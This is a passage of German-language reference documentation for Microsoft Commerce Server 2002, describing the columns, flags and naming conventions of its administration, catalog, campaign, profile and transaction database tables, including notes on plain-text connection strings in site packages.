 Eine Ganzzahl, die die Ressource angibt, der dieses Objekt GenericPuP zugeordnet ist. Die Werte in dieser Spalte entsprechen den Werten in der i_ResourceID-Spalte in der ResourceProps-, Resources- und SiteResources-Tabelle.
u_scriptname
 Der Name des Skripts, dem dieses Objekt GenericPuP zugeordnet ist. Dieser Name wird entweder in der s_PupParam2-Spalte oder der s_PupParam3-Spalte in der Resources-Tabelle in der durch Komma getrennten Liste angezeigt.
txt_script
 Das SQL-Skript, das diesem Objekt GenericPuP zugeordnet ist. Verwenden Sie die Methode GetSQLScript, PutSQLScript und DeleteSQLScript des Objekts SiteConfig, um die Skripteinträge in dieser Spalte zu verwalten. Weitere Informationen finden Sie unter SiteConfig Object (englisches Thema).

Siehe auch

Sichern der Verwaltungsdatenbank


ResourceProps-Tabelle

In der ResourceProps-Tabelle werden die eigentlichen Ressourceneigenschaftswerte gespeichert. In dieser Tabelle werden so wie in der Resources-, SiteResources- und Sites-Tabelle Daten für die Verwaltungsdatenbank gespeichert.

Die Spalten der ResourceProps-Tabelle werden in der folgenden Tabelle definiert.

Hinweis

  • Diese Tabelle sollte auf keinen Fall geändert werden. Im Folgenden finden Sie eine Beschreibung der Tabelle.
Spalte Beschreibung
i_ResourceID
 Eine Ganzzahl, die die Ressource angibt, der diese Eigenschaft zugeordnet ist. Die Werte in dieser Spalte entsprechen den Werten in der i_ResourceID-Spalte in der PupDBScript-, Resources- und SiteResources-Tabelle.
s_PropertyName
 Wird auf eine willkürliche Zeichenfolge gesetzt, die als interner Name der Eigenschaft dient, und wird beim programmgesteuerten Zugreifen auf die Eigenschaft mit den Objekten GlobalConfig, SiteConfig und SiteConfigReadOnly verwendet.

Dieser Name ist in der Regel beschreibend und beginnt mit einem Buchstaben, der für den Datentyp der Eigenschaft steht, und einem Unterstrich. "i_AuctionOptions" ist beispielsweise eine Eigenschaft vom Datentyp integer.

f_IsConnStr
 Wenn der Wert dieses Flags auf "1" gesetzt ist, handelt es sich bei der Eigenschaft um eine OLE DB-Verbindungszeichenfolge. Wenn hier ein Wert festgelegt ist, verwendet der Commerce Server-Manager zum Festlegen des Wertes ein UDL-Dialogfeld (Universal Data Link), und Commerce Server Site Packager fordert beim Entpacken zur Eingabe der Verbindungsinformationen für eine bestimmte Datenbank auf.

Unter "Hinweis" unter dieser Tabelle erhalten Sie weitere Informationen zu diesem Flag und dessen Beziehung zu Konfigurationswerten von Verbindungszeichenfolgen.

f_IsHidden
 Wenn dieses Flag auf "1" gesetzt ist, wird diese Eigenschaft im Dialogfeld für die allgemeine Ressource nicht angezeigt. Setzen Sie dieses Flag für Eigenschaften auf "1", für die ein benutzerdefiniertes MMC-Snap-In vorhanden ist.
f_IsSimpleList
 Wenn dieses Flag auf "1" gesetzt ist, handelt es sich bei der neuen Eigenschaft um ein SimpleList-Objekt. Dieses Feature ermöglicht das Speichern von Eigenschaften mit mehreren Werten.
s_Description
 Diese Spalte wird nicht verwendet.
i_Vartype
 Eine Ganzzahl, die den Variant-Typ der gespeicherten Daten anzeigt. Die Zahl 8 bedeutet beispielsweise, dass es sich um eine Zeichenfolge handelt, und die Zahl 8200 bedeutet, dass es sich um ein Array von Zeichenfolgen handelt. Alle Variant-Typen außer SafeArray, IUnknown und IDispatch sind zulässig.
s_Value
 Der Wert der Eigenschaft.
s_DisplayName
 Ein benutzerfreundlicher Anzeigename für die Eigenschaft, die im Dialogfeld für die allgemeine Ressource angezeigt wird.

Hinweise

  • Commerce Server Site Packager führt eine besondere Verarbeitung für Ressourceneigenschaften aus, deren Namen mit "connstr_db" beginnen. Die Werte, die diesen Eigenschaften zugeordnet sind, sind gepackt. Beim Entpacken wird der gepackte Wert jedoch ignoriert und sie werden mit Standardverbindungszeichenfolgewerten zur Verfügung gestellt. Wenn Sie das schnelle Entpacken wählen, werden diese Standardwerte automatisch akzeptiert. Wenn Sie das benutzerdefinierte Entpacken verwenden, werden die Standardwerte angezeigt, und Sie können diese Werte ändern. Auch wenn Sie beim Entpacken ignoriert werden, werden diese Verbindungszeichenfolgen in Klartext gepackt, sodass sie ein potenzielles Sicherheitsrisiko darstellen.
  • Das Packen von Verbindungszeichenfolgewerten stellt ein potenzielles Sicherheitsrisiko dar, da der Wert, einschließlich aller Kennwörter, als Klartext in dem Sitepaket gespeichert wird. Der folgende Mechanismus wurde entwickelt, um dieses Sicherheitsrisiko zu vermeiden.

    Das f_connstr-Attribut bietet einen Mechanismus zum Unterdrücken des Packens von Verbindungszeichenfolgewerten (oder potenziell aller empfindlichen Konfigurationseigenschaften). Wenn dieses Attribut auf "Eins" (1) gesetzt ist, wird der dazugehörige Eigenschaftswert nicht gepackt.

  • Wenn Sie möchten, dass eine Verbindungszeichenfolge ohne Benutzerinteraktion gepackt und entpackt wird, und Sie bereit sind, das potenzielle Sicherheitsrisiko in Kauf zu nehmen, dann dürfen die Namen der Verbindungszeichenfolgeeigenschaft nicht mit "connstr_db" beginnen und das dazugehörige f_connstr-Attribut darf nicht auf "Eins" (1) gesetzt werden. Sie haben außerdem die Möglichkeit, ein COM-Objekt (Component Object Model) zu erstellen, das die IPuP-Schnittstelle implementiert, und diesem Objekt das Packen und Entpacken der Verbindungszeichenfolge übertragen.

Siehe auch

Sichern der Verwaltungsdatenbank


Resources-Tabelle

In der Resources-Tabelle werden die eigentlichen Instanzen der Ressourcen definiert. In dieser Tabelle werden so wie in der ResourceProps-, SiteResources- und Sites-Tabelle Daten für die Verwaltungsdatenbank gespeichert.

Einträge in der Resources-Tabelle haben eine 1:n-Beziehung mit Einträgen in der ResourceProps-Tabelle.

Die Spalten der Resources-Tabelle werden in der folgenden Tabelle definiert.

Hinweis

  • Diese Tabelle sollte auf keinen Fall geändert werden. Im Folgenden finden Sie eine Beschreibung der Tabelle.
Spalte Beschreibung
i_ResourceID
 Eine Ganzzahl, die für eine Ressource in dieser Tabelle steht. Die Werte in dieser Spalte entsprechen den Werten in der i_ResourceID-Spalte in der PupDBScript-, ResourceProps- und SiteResources-Tabelle.
s_DisplayName
 Eine Zeichenfolge, die den programmtechnischen Namen für die Ressource so speichert, wie er beim Zugriff auf die Ressource über die Eigenschaft "Felder" der Objekte GlobalConfig, SiteConfig und SiteConfigReadOnly verwendet wird. Weitere Informationen finden Sie unter GlobalConfig.Fields, SiteConfig.Fields und SiteConfigReadOnly.Fields.
s_Description
 Eine Zeichenfolge, die den benutzerfreundlichen Namen für die Ressource speichert.
s_Type
 Eine Zeichenfolge, die den Typ dieser Ressource angibt. Diese Spalte stimmt mit der s_ResourceType-Spalte in der SystemProps- und der ExtendedProps-Tabelle überein.
f_IsGlobal
 Ein Flag, das angibt, ob eine Ressource global (1) oder sitespezifisch (0) ist.
f_ResourceFlags
 Bei den Werten in dieser Spalte handelt es sich um Bitfelder, die Informationen zu einer Vielzahl von booleschen Merkmalen von Ressourcen speichern. Commerce Server-Manager und Commerce Server Site Packager überprüfen diese Merkmale, um festzustellen, wie die jeweilige Ressource zu behandeln ist. Die Bits sind folgendermaßen definiert:
  • 0x00000001: Legen Sie diesen Wert fest, wenn diese Zeile ein Verweis auf eine globale Ressource ist.

    Konstante: IS_REFTOGROUPRES

  • 0x00000002: Legen Sie diesen Wert fest, wenn diese Ressource in MMC angezeigt werden kann.

    Konstante: IS_SNAPINITEM

  • 0x00000004: Legen Sie diesen Wert fest, wenn diese Ressource über ein eigenes Snap-In verfügt. Die Programm-ID der Snap-In-Erweiterung muss sich in der s_ProgIDSnapIn-Spalte befinden, wenn dieses Bit festgelegt wurde.

    Konstante: IS_SNAPINAVAILABLE

  • 0x00000008: Legen Sie diesen Wert fest, wenn es sich bei dieser Ressource um eine Anwendung in einer Site handelt. Wird nicht extern verwendet.

    Konstante: IS_ADDRESS

  • 0x00000010: Legen Sie diesen Wert fest, wenn es sich bei dieser Ressource um eine physische Ressource handelt. Wirkt sich auf die Löschfunktion aus. Ändert sich automatisch in die erste globale Ressource, die ähnlich ist. Während des benutzerdefinierten Entpackens muss der Benutzer eine vorhandene globale Ressource auswählen. Wird zusammen mit IS_REFTOGROUPRES verwendet.

    Konstante: IS_PHYSICAL

  • 0x00000080: Legen Sie diesen Wert für Ressourcen fest, die eine nicht standardmäßige Snap-In-Erweiterung verwenden (wird gegenwärtig nur von der Data Warehouse-Ressource verwendet). Die Verwendung dieses Flags wird nicht empfohlen, wegen der besonderen Überlegungen, die für die Programmierung erforderlich sind.

    Konstante: IS_SNAPIN_NNSE

  • 0x00000100: Legen Sie diesen Wert für Ressourcen fest, die nicht von Commerce Server Site Packager gepackt werden. Legen Sie dieses Bit fest, wenn Sie keine Ressourcen zwischen Rechnern übertragen möchten.

    Konstante: IS_NOTPACKED

  • 0x00000200: Legen Sie diesen Wert fest, wenn es sich bei dieser Ressource um eine Business Desk-Ressource handelt.

    Konstante: IS_BIZDESK

Die Konstanten werden in der ConfigFlags-Aufzählung in der Datei cssnapin.h definiert.

s_ProgIDSnapIn
 Eine Zeichenfolge, die die Programm-ID einer Snap-In-Erweiterung für diese Ressource angibt. Die Snap-In-Erweiterung muss die IDispatch-Schnittstelle implementieren. Das Bit IS_SNAPINAVAILABLE der f_ResourceFlags-Spalte sollte festgelegt werden, wenn diese Spalte einen Wert enthält.
s_Computer
 Eine Zeichenfolge, die optional den Namen des Computers anzeigt, auf dem Commerce Server installiert ist.
i_Status
 Diese Spalte wird gegenwärtig nicht verwendet.
f_PupFlags
 Wenn dieses Flag auf Null (0) gesetzt ist, wird Commerce Server Site Packager mitgeteilt, dass es sich bei dem beim Packen und Entpacken weitergegebenen Namen um einen Dateinamen handelt. Wenn dieses Flag auf Eins (1) gesetzt ist, wird Commerce Server Site Packager mitgeteilt, dass es sich bei dem beim Packen und Entpacken weitergegebenen Namen um einen Ordnernamen handelt.
s_ProgIDPUP
 Eine Zeichenfolge, die die Programm-ID einer COM-Komponente angibt, die die IPuP-Schnittstelle angibt (Commerce Server Site Packager). Weitere Informationen finden Sie unter Site Packager Interface (englisches Thema).
s_PupParam1
 Eine Zeichenfolge, die eine durch Trennzeichen getrennte Liste mit Namen der Datenbanktabellen enthält, die für die Ressource gepackt und entpackt werden müssen.
s_PupParam2
 Eine Zeichenfolge, die eine durch Trennzeichen getrennte Liste mit Namen der SQL-Schemaskripts enthält, die beim Importieren der Ressource ausgeführt werden müssen.
s_PupParam3
 Eine Zeichenfolge, die eine durch Trennzeichen getrennte Liste mit Namen der SQL-Skripts enthält, die beim Löschen der Ressource ausgeführt werden müssen.

Siehe auch

Sichern der Verwaltungsdatenbank


SiteResources-Tabelle

Die SiteResources-Tabelle dient als Suchmechanismus für alle Ressourcen, die auf einer Site installiert sind. In dieser Tabelle werden so wie in der ResourceProps-, Resources- und Sites-Tabelle Daten für die Verwaltungsdatenbank gespeichert.

Einträge in der SiteResources-Tabelle haben eine n:n-Beziehung mit Einträgen in der Resources-Tabelle.

Die Spalten der SiteResources-Tabelle werden in der folgenden Tabelle definiert.

Hinweis

  • Diese Tabelle sollte auf keinen Fall geändert werden. Im Folgenden finden Sie eine Beschreibung der Tabelle.
Spalte Beschreibung
i_SiteID
 Eine Ganzzahl, die die Site angibt, die der entsprechenden Ressource zugeordnet ist.

Diese Spalte entspricht der i_SiteID-Spalte in der PupDBScripts- und der Sites-Tabelle.

i_ResourceID
 Eine Ganzzahl, die die angegebene Ressource der entsprechenden Site zuordnet. Die Werte in dieser Spalte entsprechen den Werten in der i_ResourceID-Spalte in der PupDBScript-, ResourceProps- und Resources-Tabelle.

Siehe auch

Sichern der Verwaltungsdatenbank


Sites-Tabelle

Die Sites-Tabelle ist der Anfangspunkt zum Abrufen von Daten zu einer Site. Der Site-Name wird einer Site-ID zugeordnet. Diese ID entspricht nicht der Metabasis-ID der Internetinformationdienste (IIS) für die Site. In dieser Tabelle werden so wie in der ResourceProps-, Resources- und SiteResources-Tabelle Daten für die Verwaltungsdatenbank gespeichert.

Einträge in der Sites-Tabelle haben eine 1:n-Beziehung mit Einträgen in der SiteResources-Tabelle.

Die Spalten der Sites-Tabelle werden in der folgenden Tabelle definiert.

Hinweis

  • Diese Tabelle sollte auf keinen Fall geändert werden. Im Folgenden finden Sie eine Beschreibung der Tabelle.
Spalte Beschreibung
i_SiteID
 Eine Ganzzahl, die eine bestimmte Site angibt.

Diese Spalte entspricht der i_SiteID-Spalte in der PupDBScripts- und der SiteResources-Tabelle.

s_Name
 Eine Zeichenfolge, die den benutzerfreundlichen Namen für die Site enthält.
s_Description
 Eine optionale Zeichenfolge, die die benutzerfreundliche Beschreibung für die Site enthält.
i_Status
 Diese Spalte wird gegenwärtig nicht verwendet.
d_DateCreated
 Datum und Uhrzeit der Erstellung dieses Siteeintrags.
d_DateModified
 Datum und Uhrzeit der letzten Änderung dieses Siteeintrags.

Siehe auch

Sichern der Verwaltungsdatenbank


SystemProps-Tabelle

In der SystemProps-Tabelle werden die Merkmale von Ressourcen definiert. Zusammen mit der ExtendedProps-Tabelle wird mit dieser Tabelle das Schema der Verwaltungsdatenbank definiert.

Die Spalten der SystemProps-Tabelle werden in der folgenden Tabelle definiert.

Hinweis

  • Diese Tabelle sollte auf keinen Fall geändert werden. Im Folgenden finden Sie eine Beschreibung der Tabelle.
Spalte Beschreibung
i_ApplicationID
 Diese Spalte wird gegenwärtig nicht verwendet.
s_Name
 Diese Spalte wird gegenwärtig nicht verwendet.
s_ClassName
 Hier wird eine willkürliche Zeichenfolge angegeben. Dieser Wert wird als bstrConfigSchemaClass-Parameter für die Methoden GlobalConfig.CreateServiceConfig und SiteConfig.CreateComponentConfig verwendet.
s_ResourceType
 Eine Zeichenfolge, die zum Zuordnen einer einzelnen Zeile in dieser Tabelle, die einen einzelnen Ressourcentyp darstellt, zu den entsprechenden Ressourceneigenschaften in der ExtendedProps-Tabelle verwendet wird. Die entsprechende Spalte in der ExtendedProps-Tabelle hat ebenfalls den Namen s_ResourceType.
s_Description
 Diese Spalte wird gegenwärtig nicht verwendet.
f_ResourceFlags
 Bei den Werten in dieser Spalte handelt es sich um Bitfelder, die Informationen zu einer Vielzahl von booleschen Merkmalen von Ressourcen speichern. Weitere Informationen zu der Bedeutung der Bits in diesem Flag finden Sie in der f_ResourceFlags-Spalte der Resources-Tabelle.

Die Konstanten für die Bits in diesem Flag werden in der ConfigFlags-Aufzählung in der Datei cssnapin.h definiert.

f_PupFlags
 Wenn dieses Flag auf "Null" (0) gesetzt ist, wird Commerce Server Site Packager mitgeteilt, dass es sich bei dem beim Packen weitergegebenen Namen um einen Dateinamen handelt. Wenn dieses Flag auf "Eins" (1) gesetzt ist, wird Commerce Server Site Packager mitgeteilt, dass es sich bei dem beim Packen weitergegebenen Namen um einen Ordnernamen handelt.
s_RefResource
 Diese Spalte wird gegenwärtig nicht verwendet.
s_MachineName
 Diese Spalte wird gegenwärtig nicht verwendet.
i_Status
 Diese Spalte wird gegenwärtig nicht verwendet.
s_ProgidSnapin
 Eine Zeichenfolge, die die Programm-ID einer Snap-In-Erweiterung für diese Ressource angibt. Die Snap-In-Erweiterung muss die IDispatch-Schnittstelle implementieren.
s_ProgidPUP
 Eine Zeichenfolge, die die Programm-ID einer COM-Komponente angibt, die die IPuP-Schnittstelle angibt (Commerce Server Site Packager). Weitere Informationen finden Sie unter Site Packager Interface (englisches Thema).
s_PUPParam1
 Diese Spalte wird gegenwärtig nicht verwendet.
s_PUPParam2
 Diese Spalte wird gegenwärtig nicht verwendet.
s_PUPParam3
 Diese Spalte wird gegenwärtig nicht verwendet.

Siehe auch

Sichern der Verwaltungsdatenbank


Analyse-/Berichterstellungsdatenbanktabellen

Die folgenden Tabellen sind in Data Warehouse enthalten. Detaillierte Informationen zur Sicherung dieser Tabellen und der Berichte finden Sie unter Sichern des Data Warehouse.

Hinweis

  • Diese Tabellen sollten auf keinen Fall geändert werden. Zu Referenzzwecken sind sie im Folgenden beschrieben.
Tabellenname Beschreibung
Report
 Beschreibt die Attribute, die in der Hauptberichtsdefinitionstabelle verwendet werden.
ReportDbObject
 Beschreibt Datenbankobjekte, die für die Verwendung in einem statischen Bericht erstellt wurden.
ReportDimension
 Beschreibt die Attribute, die zum Hinzufügen einer Dimension zu einem Bericht verwendet werden.
ReportInstanceDbObject
 Beschreibt die Instanzen von Datenbankobjekten, die für die Verwendung in einem statischen Bericht erstellt wurden.
ReportInstanceParam
 Beschreibt die Attribute, die zum Speichern der Parameter verwendet werden, die über die Benutzeroberfläche für die Verwendung in Abfrageausdrücken eingegeben werden.
ReportParam
 Beschreibt die Attribute, die zum Hinzufügen eines parametrisierten Abfrageausdrucks zu einem Bericht verwendet werden.
ReportStatus
 Beschreibt die Attribute, die zum Abrufen von Statusinformationen zu einem statischen Bericht verwendet werden.

Siehe auch

Sichern des Data Warehouse


Data Warehouse-Datenbanktabellen

Data Warehouse enthält die Klassen und Beziehungen, aus denen das logische Schema besteht, sowie das Metamodell, das zu deren Erstellung verwendet wird.

Siehe auch

Sichern des Data Warehouse


Direct Mailer-Datenbank

Diese Tabellen sind in der Direct Mailer-Datenbank enthalten. Detaillierte Informationen zur Sicherung dieser Datenbank finden Sie unter Sichern der Direct Mailer-Datenbank.

Hinweis

  • Diese Tabellen sollten auf keinen Fall geändert werden. Zu Referenzzwecken sind sie im Folgenden beschrieben.
Tabellenname Beschreibung
Dml_attachments
 Enthält Attribute, die zum Angeben von Dateianlagen für Direct Mailer-Aufträge verwendet werden.
Dml_job_errors
 Enthält Attribute, die zum Beschreiben von Fehlern verwendet werden, die während des Sendens von Direct Mailer-Meldungen aufgetreten sind.
Dml_jobs
 Enthält eine Liste der Direct Mailer-Aufträge.

Siehe auch

Sichern der Direct Mailer-Datenbank


Kampagnendatenbanktabellen

Die folgenden Marketingtabellen befinden sich in der Datenbank, auf die von der Kampagnensiteressource verwiesen wird. Detaillierte Informationen zur Sicherung der Datenbanktabellen finden Sie unter Sichern der Kampagnendatenbank.

Hinweis

  • Diese Tabellen sollten auf keinen Fall geändert werden. Zu Referenzzwecken sind sie im Folgenden beschrieben.
Tabellenname Beschreibung
Ad_item
 Stellt den geplanten Anzeigeinhalt für eine Webseite dar und enthält Datenelemente, die beschreiben, wann die Anzeige ausgeführt wird, sowie Codes, die die Anzeige mit dem Produkt verknüpfen, das dargestellt wird.
Campaign
 Definiert den Geschäftsprozess für das Ausführen einer Marketingkampagne für einen Werbungstreibenden.
Campaign_item
 Stellt den Inhalt dar, der in einer Marketingkampagne und/oder einer geplanten Anzeige enthalten ist.
Campaign_item_types
 Beschreibt die Typen der Kampagnenelemente, die im Marketingsystem verfügbar sind.
Campaigns_version
 Enthält Schemaversionsinformationen. Wenn benutzerdefinierte Kampagnenelementtypen erstellt werden, sollten sie hier registriert werden.
Creative
 Enthält Informationen für die Anzeige einer Anzeige oder eines Preisnachlasses.
Creative_property
 Beschreibt die Ersetzungszeichenfolgen, die in jedem Kreativtyp enthalten sind, mit einem Eintrag pro Ersetzungszeichenfolge und Kreativtyp.
Creative_property_value
 Enthält Werte für Kreativeigenschaften.
Creative_size
 Beschreibt die Größe des Slots, der für die Anzeige eines bestimmten Kreativkonzepts auf einer Seite erforderlich ist.
Creative_type
 Enthält Formatinformationen für die Anzeige das Kreativkonzepts.
Creative_type_xref
 Bestimmt, welche Kreativtypen (Vorlagen) für jedes Kampagnenelement verfügbar sind.
Customer
 Definiert einen Kunden, der Werbung über eine Commerce Server 2002-Website verwendet.
Dm_item
 Beschreibt geplante Direktsendungselemente wie Adressen und Formatinformationen.
Event_type
 Kategorisiert Marketingereignisse.
Industry_code
 Enthält Attribute, mit denen der Auswahlalgorithmus verhindern kann, dass zwei Anzeigen derselben Branche aber von unterschiedlichen Kunden auf derselben Seite angezeigt werden.
Order_discount
 Stellt Verkaufselemente mit Preisnachlass dar. Die Klasse enthält Datenmitglieder, die die Elemente und Konditionen des Verkaufs beschreiben.
Order_discount_expression
 Gibt die Ausdrücke für Preisnachlassberechtigungsanforderungen an.
Order_discount_misc
 Nur für die Verwendung in Business Desk.
Page_group
 Stellt eine Gruppe von benutzerdefinierten Inhaltselementen dar, die auf einer Webseite für eine Marketingkampagne verwendet werden.
Page_group_xref
 Ein Querverweis auf den benutzerdefinierten Inhalt einer Webseite, wobei sich der Inhalt auf einer Webseite oder einem logischen Satz von Webseiten befindet.
Performance_total
 Erfasst Aggregatzähler von Ereignissen wie Klicken und Anforderungen für jedes Kampagnenelement.
Target
 Definiert ein Ziel für das Marketing und den benutzerdefinierten Webinhalt, z. B. einen bestimmten Typ von Benutzer.
Target_group
 Definiert eine Gruppe von Zielen für das Marketing und den benutzerdefinierten Webinhalt.
Target_group_xref
 Querverweis auf eine Zielgruppe mit dem benutzerdefinierten Inhalt für die Zielgruppe.

Siehe auch

Sichern der Kampagnendatenbank


Komponenten der Katalogdatenbank

Die Produktkatalogdatenbank wird erstellt, wenn Sie eine Lösungssite entpacken. Dabei werden verschiedene Tabellen erstellt, mit deren Hilfe allgemeine Wartungs- und Datenbankoperationen ausgeführt werden.

Detaillierte Informationen zur Sicherung dieser Tabellen finden Sie unter Sichern der Produktkatalogdatenbank.

Hinweis
  • Diese Tabellen sind von großer Wichtigkeit und sollten auf keinen Fall geändert werden. Sie werden in diesem Fall als Beispiel herangezogen.

Wenn Sie mit der Erstellung eines neuen Produktkatalogs beginnen, erstellt Commerce Server 2002 dynamisch Tabellen, um das Speichern der Daten für einen neuen Katalog zu vereinfachen. Folgende Komponenten werden für neue Kataloge erstellt:

  • Tabellen für Basiskataloge
  • Tabellen für virtuelle Kataloge
  • Tabellen für sprachspezifische Kataloge
  • Katalogspezifische gespeicherte Prozeduren
  • Katalogspezifische Ansichten
  • Indizes für die Volltextsuche
  • MSCS_CatalogScratch-Datenbank

Tabellen für Basiskataloge

Im Folgenden finden Sie die Katalogtabellen, die von Basiskatalogen verwendet werden.

  • Katalogname_CatalogProducts
  • Katalogname_CatalogRelationships
  • Katalogname_CatalogHierarchy
  • Katalogname_CatalogDeletedProducts (Beachten Sie, dass diese Tabelle in einer Produktionsumgebung nicht benötigt wird.)
  • Katalogname_CatalogDependentCatalogs

Tabellen für virtuelle Kataloge

Wenn Sie einen virtuellen Katalog erstellen, werden die folgenden Tabellen dynamisch durch Aggregieren des Katalognamens und der Rolle der Tabelle innerhalb des Katalogs erstellt.

Hinweis

  • Die folgenden Tabellen gelten nicht für das Adventure Works-Szenario, da hierbei lediglich ein Basiskatalog verwendet wird.
  • Katalogname_CatalogRelationships
  • Katalogname_CatalogHierarchy
  • Katalogname_CatalogProducts
  • Katalogname_CatalogDeletedProducts (Beachten Sie, dass diese Tabelle in einer Produktionsumgebung nicht benötigt wird.)
  • Katalogname_CatalogIncludedProductsAndCategories
  • Katalogname_CatalogPricingRules
  • Katalogname_CatalogVirtualProducts

Tabellen für sprachspezifische Kataloge

Um die globale Verwendung des Produktkatalogs zu ermöglichen, wird für jede neue Sprache, die für den Katalog definiert wird, eine sprachspezifische Tabelle erstellt.

  • Katalogname_Sprache_Catalog

In diesem Beispiel arbeiten Sie mit einer Tabelle, die Einträge in amerikanischem Englisch enthält und den Namen "AdventureWorksCatalog_en-US_Catalog" trägt:

Katalogspezifische gespeicherte Prozeduren

Beim Erstellen eines neuen Katalogs erstellt Commerce Server 2002 die folgenden gespeicherten Prozeduren, die sich speziell auf den neuen Katalog beziehen. Diese gespeicherten Prozeduren werden standardmäßig entsprechend den folgenden Konventionen benannt:

  • ctlg_DeleteProduct_for_Katalogname
  • ctlg_GetRelationships_for_Katalogname
  • ctlg_DeleteCategory_for_Katalogname

Die sprachspezifischen gespeicherten Prozeduren werden wie folgt benannt:

  • ctlg_AncestorCategories_for_Katalogname_Sprache
  • ctlg_GetCategoryResults_for_Katalogname_Sprache
  • ctlg_GetProducts_for_Katalogname_Sprache
  • ctlg_GetDescProds_for_Katalogname_Sprache
  • ctlg_GetDescProdsOnly_for_Katalogname_Sprache
  • ctlg_GetChildCategories_for_Katalogname_Sprache
  • ctlg_GetRootCategories_for_Katalogname_Sprache
  • ctlg_GetRootProducts_for_Katalogname_Sprache
  • ctlg_Specsearch_for_Katalogname_Sprache

Katalogspezifische Ansichten

Für einen neuen Katalog werden verschiedene Ansichten erstellt. Dabei gelten dieselben Benennungskonventionen wie für Tabellen und gespeicherte Prozeduren:

  • Katalogname_ClassTypes
  • Katalogname_LNG_NEUTRAL

Die sprachspezifischen Ansichten für die einzelnen im Katalog definierten Sprachen sind:

  • Katalogname_Sprache_RelationsView
  • Katalogname_Sprache_Catalog

Indizes für die Volltextsuche

Produktkataloge verwenden SQL-Indizes für die Volltextsuche, die dynamisch als Teil eines neuen Katalogs erstellt werden. Der Inhalt dieser Indizes wird auf dem Produktionsdatenbankserver erneut erstellt und nicht repliziert.

Katalogname_FullTextCatalog – Dieser Katalog wird erstellt, um eine Volltextsuche für folgende Kataloge zu unterstützen:

  • Katalogname_CatalogProducts mit Feldern, die in Business Desk als durchsuchbar markiert sind.
  • Katalogname_Sprache_Catalog für jede im Katalog definierte Sprache. Diese Tabelle schließt die Felder für den Namen und den angezeigten Namen ein.

MSCS_CatalogScratch

Das Produktkatalogsystem verwendet die "leere" Datenbank MSCS_CatalogScratch zum Ablegen von temporären Tabellen. Sie müssen sicherstellen, dass diese Datenbank auf Ihren Produktionskatalog-Datenbankservern vorhanden ist und die CTLG_PropertyTableMap-Tabelle repliziert wird.

Weitere Informationen zu dieser Datenbank finden Sie unter MSCS_CatalogScratch.


MSCS_CatalogScratch-Datenbank

Das Produktkatalogsystem verwendet diese "leere" Datenbank zum Ablegen persistenter und leerer Tabellen, die durch die Laufzeitmethoden der Katalog-API erstellt werden. Sie wird durch das Katalogobjekt mit der Erweiterung .PUP und das catalogcreate.sql-Skript erstellt.

Die Datenbank muss sich auf Ihrem Produktionskatalog-Datenbankserver befinden. Sowohl Laufzeit- als auch Entwurfszeitbenutzer des Produktkatalogsystems müssen über db_owner-Berechtigungen für die Datenbank verfügen.

Um die temporären Tabellen in dieser Datenbank zu löschen, verwenden Sie das catalogcleanup.vbs-Skript im Verzeichnis Programme/Microsoft Commerce Server 2002/Support.

Diese Datenbank darf nicht zum Speichern eigener Daten verwendet werden.

Die Datenbank wird von mehreren Katalogressourcen genutzt. (Auch wenn Sie z. B. über zwei Sites verfügen, die unterschiedliche Katalogdatenbanken verwenden, gibt es immer nur eine MSCS_CatalogScratch-Datenbank.

Die im Produktkatalogsystem gespeicherten Prozeduren erstellen in dieser Datenbank (bei Bedarf) temporäre Tabellen, füllen Sie mit Daten, verwenden diese und entfernen die Daten aus den temporären Tabellen, wenn die gespeicherten Prozeduren beendet werden. Die leere Tabelle wird dann für eine nachfolgende Ausführung der gespeicherten Prozedur wieder verwendet. Da Tabellenname und -schema beibehalten werden, kann SQL Server seinen Abfrageplan wiederverwenden und muss keine neue Abfrage erstellen, d. h., die Systemleistung wird weniger belastet.


Profildatenbanktabellen

Die folgenden Profiltabellen befinden sich in der Datenbank, auf die von der Profilsiteressource verwiesen wird. Detaillierte Informationen zur Sicherung dieser Tabellen finden Sie unter Sichern der Profildatenbank.

Hinweis

  • Diese Tabellen sollten auf keinen Fall geändert werden. Zu Referenzzwecken sind sie im Folgenden beschrieben.
Tabellenname Beschreibung
Addresses
 Enthält Adressen von Benutzern und Organisationen. Wird zum Speichern der Laufzeitdaten des Profilsystems verwendet, die von den Sites gesammelt werden.
BlanketPOs
 Enthält Bestellinformationen. Wird zum Speichern der Laufzeitdaten des Profilsystems verwendet, die von den Sites gesammelt werden.
ClassDef
 Enthält Profil-/Data Warehouse-Schemainformationen.
ClsAttrib
 Enthält Profil-/Data Warehouse-Schemainformationen.
ColDef
 Enthält Profil-/Data Warehouse-Schemainformationen.
CommerceServerCatalogs
 Enthält Profil-/Data Warehouse-Schemainformationen.
ES_ExprExprDeps
 Enthält die Abhängigkeiten zwischen Ausdrücken.
ES_ExprInfo
 Enthält Informationen für Ausdrücke.
ES_ExprProfDeps
 Enthält die Abhängigkeiten zwischen Ausdrücken und Profilen.
GroupMem
 Enthält Profil-/Data Warehouse-Schemainformationen.
MemAttrib
 Enthält Profil-/Data Warehouse-Schemainformationen.
MemberDef
 Enthält Profil-/Data Warehouse-Schemainformationen.
OrganizationObject
 Enthält Organisationsobjektinformationen. Wird zum Speichern der Laufzeitdaten des Profilsystems verwendet, die von den Sites gesammelt werden.
Relation
 Enthält Profil-/Data Warehouse-Schemainformationen.
SourceAttrib
 Enthält Profil-/Data Warehouse-Schemainformationen.
SourceDef
 Enthält Profil-/Data Warehouse-Schemainformationen.
TableDef
 Enthält Profil-/Data Warehouse-Schemainformationen.
UserObject
 Enthält Benutzerobjektinformationen. Wird zum Speichern der Laufzeitdaten des Profilsystems verwendet, die von den Sites gesammelt werden.

Siehe auch

Sichern der Profildatenbank


Transaktionsdatenbanktabellen

Die folgenden Transaktionstabellen befinden sich in der Datenbank, auf die von der Transaktionssiteressource verwiesen wird. Detaillierte Informationen zur Sicherung dieser Tabellen finden Sie unter Sichern der Transaktionsdatenbank.

Hinweis

  • Diese Tabellen sollten auf keinen Fall geändert werden. Zu Referenzzwecken sind sie im Folgenden beschrieben.
Tabellenname Beschreibung
BasketGroup
 Enthält Auftragsgruppen mit Status=Warenkorb oder Status=Vorlage.
CatalogProducts_AuctionBid
 Enthält Auktionselementgebote.
CatalogProducts_AuctionItem
 Beschreibt die Elemente, die bei der Auktion angeboten werden.
counters
 Enthält Indikatoren, die vom Objekt GenId verwendet werden. Wird beispielsweise für fortlaufende Auftragsverfolgungsnummern verwendet.
OrderFormHeader
 Speichert Auftragsgruppeninformationen auf Auftragsformularebene.
OrderFormLineItems
 Speichert Auftragsgruppeninformationen auf Elementebene.
OrderGroup
 Enthält Auftragsgruppeninformationen, die sich außerhalb der Ebenen befinden.
OrderGroupAddresses
